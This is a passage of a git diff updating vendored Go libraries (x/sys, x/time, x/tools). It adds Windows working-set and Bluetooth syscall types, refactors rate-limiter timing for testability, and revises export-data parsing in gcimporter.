IFLA_PROTO_DOWN_REASON_UNSPEC = 0x0 IFLA_PROTO_DOWN_REASON_MASK = 0x1 IFLA_PROTO_DOWN_REASON_VALUE = 0x2 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go index 7551af483..263604401 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -m32 linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/386/cgo -- -Wall -Werror -static -I/tmp/386/include -m32 linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build 386 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go index 3e738ac0b..8187489d1 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -m64 linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/amd64/cgo -- -Wall -Werror -static -I/tmp/amd64/include -m64 linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build amd64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go index 6183eef4a..d1612335f 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/arm/cgo -- -Wall -Werror -static -I/tmp/arm/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go index 968cecb17..c28e5556b 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/arm64/cgo -- -Wall -Werror -static -I/tmp/arm64/include -fsigned-char linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go index 8fe4c522a..187061f9f 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/loong64/cgo -- -Wall -Werror -static -I/tmp/loong64/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build loong64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go index 11426a301..369129917 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/mips/cgo -- -Wall -Werror -static -I/tmp/mips/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go index ad1c3b3de..7473468d7 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/mips64/cgo -- -Wall -Werror -static -I/tmp/mips64/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go index 15fd84e4d..ed9448524 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/mips64le/cgo -- -Wall -Werror -static -I/tmp/mips64le/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64le && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go index 49c49825a..0892a73a4 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/mipsle/cgo -- -Wall -Werror -static -I/tmp/mipsle/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mipsle && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go index cd36d0da2..e1dd48333 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/ppc/cgo -- -Wall -Werror -static -I/tmp/ppc/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go index 8c6fce039..d9f654c7b 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/ppc64/cgo -- -Wall -Werror -static -I/tmp/ppc64/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go index 20910f2ad..74acda9fe 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/ppc64le/cgo -- -Wall -Werror -static -I/tmp/ppc64le/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64le && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go index 71b7b3331..50ebe69eb 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/riscv64/cgo -- -Wall -Werror -static -I/tmp/riscv64/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build riscv64 && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go index 71184cc2c..75b34c259 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/s390x/cgo -- -Wall -Werror -static -I/tmp/s390x/include -fsigned-char linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build s390x && linux diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go index 06156285d..429c3bf7d 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go @@ -1,4 +1,4 @@ -// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go +// cgo -godefs -objdir=/tmp/sparc64/cgo -- -Wall -Werror -static -I/tmp/sparc64/include linux/types.go | go run mkpost.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build sparc64 && linux diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go index be3ec2bd4..e27913817 100644 --- a/vendor/golang.org/x/sys/windows/syscall_windows.go +++ b/vendor/golang.org/x/sys/windows/syscall_windows.go @@ -417,6 +417,7 @@ func NewCallbackCDecl(fn interface{}) uintptr { //sys GetModuleInformation(process Handle, module Handle, modinfo *ModuleInfo, cb uint32) (err error) = psapi.GetModuleInformation //sys GetModuleFileNameEx(process Handle, module Handle, filename *uint16, size uint32) (err error) = psapi.GetModuleFileNameExW //sys GetModuleBaseName(process Handle, module Handle, baseName *uint16, size uint32) (err error) = psapi.GetModuleBaseNameW +//sys QueryWorkingSetEx(process Handle, pv uintptr, cb uint32) (err error) = psapi.QueryWorkingSetEx // NT Native APIs //sys rtlNtStatusToDosErrorNoTeb(ntstatus NTStatus) (ret syscall.Errno) = ntdll.RtlNtStatusToDosErrorNoTeb @@ -971,6 +972,32 @@ func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, int32, error) { return unsafe.Pointer(&sa.raw), sl, nil } +type RawSockaddrBth struct { + AddressFamily [2]byte + BtAddr [8]byte + ServiceClassId [16]byte + Port [4]byte +} + +type SockaddrBth struct { + BtAddr uint64 + ServiceClassId GUID + Port uint32 + + raw RawSockaddrBth +} + +func (sa *SockaddrBth) sockaddr() (unsafe.Pointer, int32, error) { + family := AF_BTH + sa.raw = RawSockaddrBth{ + AddressFamily: *(*[2]byte)(unsafe.Pointer(&family)), + BtAddr: *(*[8]byte)(unsafe.Pointer(&sa.BtAddr)), + Port: *(*[4]byte)(unsafe.Pointer(&sa.Port)), + ServiceClassId: *(*[16]byte)(unsafe.Pointer(&sa.ServiceClassId)), + } + return unsafe.Pointer(&sa.raw), int32(unsafe.Sizeof(sa.raw)), nil +} + func (rsa *RawSockaddrAny) Sockaddr() (Sockaddr, error) { switch rsa.Addr.Family { case AF_UNIX: @@ -1707,3 +1734,71 @@ func LoadResourceData(module, resInfo Handle) (data []byte, err error) { h.Cap = int(size) return } + +// PSAPI_WORKING_SET_EX_BLOCK contains extended working set information for a page. +type PSAPI_WORKING_SET_EX_BLOCK uint64 + +// Valid returns the validity of this page. +// If this bit is 1, the subsequent members are valid; otherwise they should be ignored. +func (b PSAPI_WORKING_SET_EX_BLOCK) Valid() bool { + return (b & 1) == 1 +} + +// ShareCount is the number of processes that share this page. The maximum value of this member is 7. +func (b PSAPI_WORKING_SET_EX_BLOCK) ShareCount() uint64 { + return b.intField(1, 3) +} + +// Win32Protection is the memory protection attributes of the page. For a list of values, see +// https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants +func (b PSAPI_WORKING_SET_EX_BLOCK) Win32Protection() uint64 { + return b.intField(4, 11) +} + +// Shared returns the shared status of this page. +// If this bit is 1, the page can be shared. +func (b PSAPI_WORKING_SET_EX_BLOCK) Shared() bool { + return (b & (1 << 15)) == 1 +} + +// Node is the NUMA node. The maximum value of this member is 63. +func (b PSAPI_WORKING_SET_EX_BLOCK) Node() uint64 { + return b.intField(16, 6) +} + +// Locked returns the locked status of this page. +// If this bit is 1, the virtual page is locked in physical memory. +func (b PSAPI_WORKING_SET_EX_BLOCK) Locked() bool { + return (b & (1 << 22)) == 1 +} + +// LargePage returns the large page status of this page. +// If this bit is 1, the page is a large page. +func (b PSAPI_WORKING_SET_EX_BLOCK) LargePage() bool { + return (b & (1 << 23)) == 1 +} + +// Bad returns the bad status of this page. +// If this bit is 1, the page is has been reported as bad. +func (b PSAPI_WORKING_SET_EX_BLOCK) Bad() bool { + return (b & (1 << 31)) == 1 +} + +// intField extracts an integer field in the PSAPI_WORKING_SET_EX_BLOCK union. +func (b PSAPI_WORKING_SET_EX_BLOCK) intField(start, length int) uint64 { + var mask PSAPI_WORKING_SET_EX_BLOCK + for pos := start; pos < start+length; pos++ { + mask |= (1 << pos) + } + + masked := b & mask + return uint64(masked >> start) +} + +// PSAPI_WORKING_SET_EX_INFORMATION contains extended working set information for a process. +type PSAPI_WORKING_SET_EX_INFORMATION struct { + // The virtual address. + VirtualAddress Pointer + // A PSAPI_WORKING_SET_EX_BLOCK union that indicates the attributes of the page at VirtualAddress. + VirtualAttributes PSAPI_WORKING_SET_EX_BLOCK +} diff --git a/vendor/golang.org/x/sys/windows/zsyscall_windows.go b/vendor/golang.org/x/sys/windows/zsyscall_windows.go index 678262cda..52d4742cb 100644 --- a/vendor/golang.org/x/sys/windows/zsyscall_windows.go +++ b/vendor/golang.org/x/sys/windows/zsyscall_windows.go @@ -408,6 +408,7 @@ var ( procGetModuleBaseNameW = modpsapi.NewProc("GetModuleBaseNameW") procGetModuleFileNameExW = modpsapi.NewProc("GetModuleFileNameExW") procGetModuleInformation = modpsapi.NewProc("GetModuleInformation") + procQueryWorkingSetEx = modpsapi.NewProc("QueryWorkingSetEx") procSubscribeServiceChangeNotifications = modsechost.NewProc("SubscribeServiceChangeNotifications") procUnsubscribeServiceChangeNotifications = modsechost.NewProc("UnsubscribeServiceChangeNotifications") procGetUserNameExW = modsecur32.NewProc("GetUserNameExW") @@ -3504,6 +3505,14 @@ func GetModuleInformation(process Handle, module Handle, modinfo *ModuleInfo, cb return } +func QueryWorkingSetEx(process Handle, pv uintptr, cb uint32) (err error) { + r1, _, e1 := syscall.Syscall(procQueryWorkingSetEx.Addr(), 3, uintptr(process), uintptr(pv), uintptr(cb)) + if r1 == 0 { + err = errnoErr(e1) + } + return +} + func SubscribeServiceChangeNotifications(service Handle, eventType uint32, callback uintptr, callbackCtx uintptr, subscription *uintptr) (ret error) { ret = procSubscribeServiceChangeNotifications.Find() if ret != nil { diff --git a/vendor/golang.org/x/time/AUTHORS b/vendor/golang.org/x/time/AUTHORS deleted file mode 100644 index 15167cd74..000000000 --- a/vendor/golang.org/x/time/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/time/CONTRIBUTORS b/vendor/golang.org/x/time/CONTRIBUTORS deleted file mode 100644 index 1c4577e96..000000000 --- a/vendor/golang.org/x/time/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/time/rate/rate.go b/vendor/golang.org/x/time/rate/rate.go index e77ade398..12e813cc7 100644 --- a/vendor/golang.org/x/time/rate/rate.go +++ b/vendor/golang.org/x/time/rate/rate.go @@ -223,6 +223,18 @@ func (lim *Limiter) Wait(ctx context.Context) (err error) { // canceled, or the expected wait time exceeds the Context's Deadline. // The burst limit is ignored if the rate limit is Inf. func (lim *Limiter) WaitN(ctx context.Context, n int) (err error) { + // The test code calls lim.wait with a fake timer generator. + // This is the real timer generator. + newTimer := func(d time.Duration) (<-chan time.Time, func() bool, func()) { + timer := time.NewTimer(d) + return timer.C, timer.Stop, func() {} + } + + return lim.wait(ctx, n, time.Now(), newTimer) +} + +// wait is the internal implementation of WaitN. +func (lim *Limiter) wait(ctx context.Context, n int, now time.Time, newTimer func(d time.Duration) (<-chan time.Time, func() bool, func())) error { lim.mu.Lock() burst := lim.burst limit := lim.limit @@ -238,7 +250,6 @@ func (lim *Limiter) WaitN(ctx context.Context, n int) (err error) { default: } // Determine wait limit - now := time.Now() waitLimit := InfDuration if deadline, ok := ctx.Deadline(); ok { waitLimit = deadline.Sub(now) @@ -253,10 +264,11 @@ func (lim *Limiter) WaitN(ctx context.Context, n int) (err error) { if delay == 0 { return nil } - t := time.NewTimer(delay) - defer t.Stop() + ch, stop, advance := newTimer(delay) + defer stop() + advance() // only has an effect when testing select { - case <-t.C: + case <-ch: // We can proceed. return nil case <-ctx.Done(): diff --git a/vendor/golang.org/x/tools/AUTHORS b/vendor/golang.org/x/tools/AUTHORS deleted file mode 100644 index 15167cd74..000000000 --- a/vendor/golang.org/x/tools/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/tools/CONTRIBUTORS b/vendor/golang.org/x/tools/CONTRIBUTORS deleted file mode 100644 index 1c4577e96..000000000 --- a/vendor/golang.org/x/tools/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/tools/go/gcexportdata/gcexportdata.go b/vendor/golang.org/x/tools/go/gcexportdata/gcexportdata.go index fc8beea5d..2ed25a750 100644 --- a/vendor/golang.org/x/tools/go/gcexportdata/gcexportdata.go +++ b/vendor/golang.org/x/tools/go/gcexportdata/gcexportdata.go @@ -17,32 +17,47 @@ // developer tools, which will then be able to consume both Go 1.7 and // Go 1.8 export data files, so they will work before and after the // Go update. (See discussion at https://golang.org/issue/15651.) -// package gcexportdata // import "golang.org/x/tools/go/gcexportdata" import ( "bufio" "bytes" + "encoding/json" "fmt" "go/token" "go/types" "io" "io/ioutil" + "os/exec" "golang.org/x/tools/go/internal/gcimporter" ) // Find returns the name of an object (.o) or archive (.a) file // containing type information for the specified import path, -// using the workspace layout conventions of go/build. +// using the go command. // If no file was found, an empty filename is returned. // // A relative srcDir is interpreted relative to the current working directory. // // Find also returns the package's resolved (canonical) import path, // reflecting the effects of srcDir and vendoring on importPath. +// +// Deprecated: Use the higher-level API in golang.org/x/tools/go/packages, +// which is more efficient. func Find(importPath, srcDir string) (filename, path string) { - return gcimporter.FindPkg(importPath, srcDir) + cmd := exec.Command("go", "list", "-json", "-export", "--", importPath) + cmd.Dir = srcDir + out, err := cmd.CombinedOutput() + if err != nil { + return "", "" + } + var data struct { + ImportPath string + Export string + } + json.Unmarshal(out, &data) + return data.Export, data.ImportPath } // NewReader returns a reader for the export data section of an object @@ -50,11 +65,24 @@ func Find(importPath, srcDir string) (filename, path string) { // additional trailing data beyond the end of the export data. func NewReader(r io.Reader) (io.Reader, error) { buf := bufio.NewReader(r) - _, err := gcimporter.FindExportData(buf) - // If we ever switch to a zip-like archive format with the ToC - // at the end, we can return the correct portion of export data, - // but for now we must return the entire rest of the file. - return buf, err + _, size, err := gcimporter.FindExportData(buf) + if err != nil { + return nil, err + } + + if size >= 0 { + // We were given an archive and found the __.PKGDEF in it. + // This tells us the size of the export data, and we don't + // need to return the entire file. + return &io.LimitedReader{ + R: buf, + N: size, + }, nil + } else { + // We were given an object file. As such, we don't know how large + // the export data is and must return the entire file. + return buf, nil + } } // Read reads export data from in, decodes it, and returns type @@ -88,13 +116,29 @@ func Read(in io.Reader, fset *token.FileSet, imports map[string]*types.Package, // The indexed export format starts with an 'i'; the older // binary export format starts with a 'c', 'd', or 'v' // (from "version"). Select appropriate importer. - if len(data) > 0 && data[0] == 'i' { - _, pkg, err := gcimporter.IImportData(fset, imports, data[1:], path) - return pkg, err - } + if len(data) > 0 { + switch data[0] { + case 'i': + _, pkg, err := gcimporter.IImportData(fset, imports, data[1:], path) + return pkg, err - _, pkg, err := gcimporter.BImportData(fset, imports, data, path) - return pkg, err + case 'v', 'c', 'd': + _, pkg, err := gcimporter.BImportData(fset, imports, data, path) + return pkg, err + + case 'u': + _, pkg, err := gcimporter.UImportData(fset, imports, data[1:], path) + return pkg, err + + default: + l := len(data) + if l > 10 { + l = 10 + } + return nil, fmt.Errorf("unexpected export data with prefix %q for path %s", string(data[:l]), path) + } + } + return nil, fmt.Errorf("empty export data for %s", path) } // Write writes encoded type information for the specified package to out. diff --git a/vendor/golang.org/x/tools/go/gcexportdata/importer.go b/vendor/golang.org/x/tools/go/gcexportdata/importer.go index efe221e7e..37a7247e2 100644 --- a/vendor/golang.org/x/tools/go/gcexportdata/importer.go +++ b/vendor/golang.org/x/tools/go/gcexportdata/importer.go @@ -23,6 +23,8 @@ import ( // or to control the FileSet or access the imports map populated during // package loading. // +// Deprecated: Use the higher-level API in golang.org/x/tools/go/packages, +// which is more efficient. func NewImporter(fset *token.FileSet, imports map[string]*types.Package) types.ImporterFrom { return importer{fset, imports} } diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/bexport.go b/vendor/golang.org/x/tools/go/internal/gcimporter/bexport.go index a807d0aaa..196cb3f9b 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/bexport.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/bexport.go @@ -34,20 +34,19 @@ import ( // (suspected) format errors, and whenever a change is made to the format. const debugFormat = false // default: false -// If trace is set, debugging output is printed to std out. -const trace = false // default: false - // Current export format version. Increase with each format change. +// // Note: The latest binary (non-indexed) export format is at version 6. -// This exporter is still at level 4, but it doesn't matter since -// the binary importer can handle older versions just fine. -// 6: package height (CL 105038) -- NOT IMPLEMENTED HERE -// 5: improved position encoding efficiency (issue 20080, CL 41619) -- NOT IMPLEMEMTED HERE -// 4: type name objects support type aliases, uses aliasTag -// 3: Go1.8 encoding (same as version 2, aliasTag defined but never used) -// 2: removed unused bool in ODCL export (compiler only) -// 1: header format change (more regular), export package for _ struct fields -// 0: Go1.7 encoding +// This exporter is still at level 4, but it doesn't matter since +// the binary importer can handle older versions just fine. +// +// 6: package height (CL 105038) -- NOT IMPLEMENTED HERE +// 5: improved position encoding efficiency (issue 20080, CL 41619) -- NOT IMPLEMENTED HERE +// 4: type name objects support type aliases, uses aliasTag +// 3: Go1.8 encoding (same as version 2, aliasTag defined but never used) +// 2: removed unused bool in ODCL export (compiler only) +// 1: header format change (more regular), export package for _ struct fields +// 0: Go1.7 encoding const exportVersion = 4 // trackAllTypes enables cycle tracking for all types, not just named @@ -92,16 +91,18 @@ func internalErrorf(format string, args ...interface{}) error { // BExportData returns binary export data for pkg. // If no file set is provided, position info will be missing. func BExportData(fset *token.FileSet, pkg *types.Package) (b []byte, err error) { - defer func() { - if e := recover(); e != nil { - if ierr, ok := e.(internalError); ok { - err = ierr - return + if !debug { + defer func() { + if e := recover(); e != nil { + if ierr, ok := e.(internalError); ok { + err = ierr + return + } + // Not an internal error; panic again. + panic(e) } - // Not an internal error; panic again. - panic(e) - } - }() + }() + } p := exporter{ fset: fset, diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/bimport.go b/vendor/golang.org/x/tools/go/internal/gcimporter/bimport.go index e9f73d14a..b85de0147 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/bimport.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/bimport.go @@ -74,9 +74,10 @@ func BImportData(fset *token.FileSet, imports map[string]*types.Package, data [] pathList: []string{""}, // empty string is mapped to 0 fake: fakeFileSet{ fset: fset, - files: make(map[string]*token.File), + files: make(map[string]*fileInfo), }, } + defer p.fake.setLines() // set lines for files in fset // read version info var versionstr string @@ -338,37 +339,49 @@ func (p *importer) pos() token.Pos { // Synthesize a token.Pos type fakeFileSet struct { fset *token.FileSet - files map[string]*token.File + files map[string]*fileInfo } +type fileInfo struct { + file *token.File + lastline int +} + +const maxlines = 64 * 1024 + func (s *fakeFileSet) pos(file string, line, column int) token.Pos { // TODO(mdempsky): Make use of column. - // Since we don't know the set of needed file positions, we - // reserve maxlines positions per file. - const maxlines = 64 * 1024 + // Since we don't know the set of needed file positions, we reserve maxlines + // positions per file. We delay calling token.File.SetLines until all + // positions have been calculated (by way of fakeFileSet.setLines), so that + // we can avoid setting unnecessary lines. See also golang/go#46586. f := s.files[file] if f == nil { - f = s.fset.AddFile(file, -1, maxlines) + f = &fileInfo{file: s.fset.AddFile(file, -1, maxlines)} s.files[file] = f - // Allocate the fake linebreak indices on first use. - // TODO(adonovan): opt: save ~512KB using a more complex scheme? - fakeLinesOnce.Do(func() { - fakeLines = make([]int, maxlines) - for i := range fakeLines { - fakeLines[i] = i - } - }) - f.SetLines(fakeLines) } - if line > maxlines { line = 1 } + if line > f.lastline { + f.lastline = line + } - // Treat the file as if it contained only newlines - // and column=1: use the line number as the offset. - return f.Pos(line - 1) + // Return a fake position assuming that f.file consists only of newlines. + return token.Pos(f.file.Base() + line - 1) +} + +func (s *fakeFileSet) setLines() { + fakeLinesOnce.Do(func() { + fakeLines = make([]int, maxlines) + for i := range fakeLines { + fakeLines[i] = i + } + }) + for _, f := range s.files { + f.file.SetLines(fakeLines[:f.lastline]) + } } var ( @@ -1029,6 +1042,7 @@ func predeclared() []types.Type { // used internally by gc; never used by this package or in .a files anyType{}, } + predecl = append(predecl, additionalPredeclared()...) }) return predecl } diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/exportdata.go b/vendor/golang.org/x/tools/go/internal/gcimporter/exportdata.go index f33dc5613..f6437feb1 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/exportdata.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/exportdata.go @@ -16,7 +16,7 @@ import ( "strings" ) -func readGopackHeader(r *bufio.Reader) (name string, size int, err error) { +func readGopackHeader(r *bufio.Reader) (name string, size int64, err error) { // See $GOROOT/include/ar.h. hdr := make([]byte, 16+12+6+6+8+10+2) _, err = io.ReadFull(r, hdr) @@ -28,7 +28,8 @@ func readGopackHeader(r *bufio.Reader) (name string, size int, err error) { fmt.Printf("header: %s", hdr) } s := strings.TrimSpace(string(hdr[16+12+6+6+8:][:10])) - size, err = strconv.Atoi(s) + length, err := strconv.Atoi(s) + size = int64(length) if err != nil || hdr[len(hdr)-2] != '`' || hdr[len(hdr)-1] != '\n' { err = fmt.Errorf("invalid archive header") return @@ -42,8 +43,8 @@ func readGopackHeader(r *bufio.Reader) (name string, size int, err error) { // file by reading from it. The reader must be positioned at the // start of the file before calling this function. The hdr result // is the string before the export data, either "$$" or "$$B". -// -func FindExportData(r *bufio.Reader) (hdr string, err error) { +// The size result is the length of the export data in bytes, or -1 if not known. +func FindExportData(r *bufio.Reader) (hdr string, size int64, err error) { // Read first line to make sure this is an object file. line, err := r.ReadSlice('\n') if err != nil { @@ -54,7 +55,7 @@ func FindExportData(r *bufio.Reader) (hdr string, err error) { if string(line) == "!<arch>\n" { // Archive file. Scan to __.PKGDEF. var name string - if name, _, err = readGopackHeader(r); err != nil { + if name, size, err = readGopackHeader(r); err != nil { return } @@ -70,6 +71,7 @@ func FindExportData(r *bufio.Reader) (hdr string, err error) { err = fmt.Errorf("can't find export data (%v)", err) return } + size -= int64(len(line)) } // Now at __.PKGDEF in archive or still at beginning of file. @@ -86,8 +88,12 @@ func FindExportData(r *bufio.Reader) (hdr string, err error) { err = fmt.Errorf("can't find export data (%v)", err) return } + size -= int64(len(line)) } hdr = string(line) + if size < 0 { + size = -1 + } return } diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/gcimporter.go b/vendor/golang.org/x/tools/go/internal/gcimporter/gcimporter.go index e8cba6b23..e96c39600 100644 --- a/vendor/golang.org/x/tools/go/internal/gcimporter/gcimporter.go +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/gcimporter.go @@ -29,8 +29,14 @@ import ( "text/scanner" ) -// debugging/development support -const debug = false +const ( + // Enable debug during development: it adds some additional checks, and + // prevents errors from being recovered. + debug = false + + // If trace is set, debugging output is printed to std out. + trace = false +) var pkgExts = [...]string{".a", ".o"} @@ -39,7 +45,6 @@ var pkgExts = [...]string{".a", ".o"} // the build.Default build.Context). A relative srcDir is interpreted // relative to the current working directory. // If no file was found, an empty filename is returned. -// func FindPkg(path, srcDir string) (filename, id string) { if path == "" { return @@ -103,7 +108,6 @@ func FindPkg(path, srcDir string) (filename, id string) { // If packages[id] contains the completely imported package, that package // can be used directly, and there is no need to call this function (but // there is also no harm but for extra time used). -// func ImportData(packages map[string]*types.Package, filename, id string, data io.Reader) (pkg *types.Package, err error) { // support for parser error handling defer func() { @@ -127,7 +131,6 @@ func ImportData(packages map[string]*types.Package, filename, id string, data io // Import imports a gc-generated package given its import path and srcDir, adds // the corresponding package object to the packages map, and returns the object. // The packages map must contain all packages already imported. 